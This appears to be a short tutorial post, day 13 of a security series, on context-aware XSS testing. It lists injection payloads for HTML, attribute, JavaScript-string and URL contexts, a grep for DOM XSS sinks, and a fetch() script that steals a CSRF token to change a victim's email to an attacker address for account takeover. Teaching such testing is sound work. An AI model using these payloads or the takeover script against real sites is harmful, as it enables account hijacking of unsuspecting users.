XSS Testing Methodology: Context First, Payloads Second

Day 13 of 60. The #1 reason XSS payloads fail isn't WAFs or filters -- it's testers ignoring injection context.

The Context-First Approach

Before crafting any payload, inject a plain string and view source:

# Quick reflection mapping with curl
curl -s "https://target.com/search?q=XSSTESTCANARY" | grep -n "XSSTESTCANARY"

Then match your payload to the context:

HTML body:     <svg onload=alert(1)>
Attribute:     " onfocus=alert(1) autofocus x="
JS string:     ';alert(1);//
URL/href:      javascript:alert(1)

DOM XSS Quick Audit

Search JS files for dangerous sinks:

# Find potential DOM XSS sinks in downloaded JS
grep -rn 'innerHTML\|document\.write\|eval(\|\.html(' static/js/

Then trace backwards -- does any sink receive data from location, document.referrer, or postMessage? That's your DOM XSS.

Real Impact Demo

Don't report alert(1). Show account takeover:

fetch('/api/me/email', {
  method: 'PATCH',
  headers: {'Content-Type':'application/json',
    'X-CSRF': document.querySelector('[name=csrf]').value},
  body: '{"email":"attacker@evil.com"}'
});

This bypasses CSRF because XSS runs same-origin. One stored XSS in a comment = every reader's account compromised.

Tomorrow: hands-on lab practice with DVWA.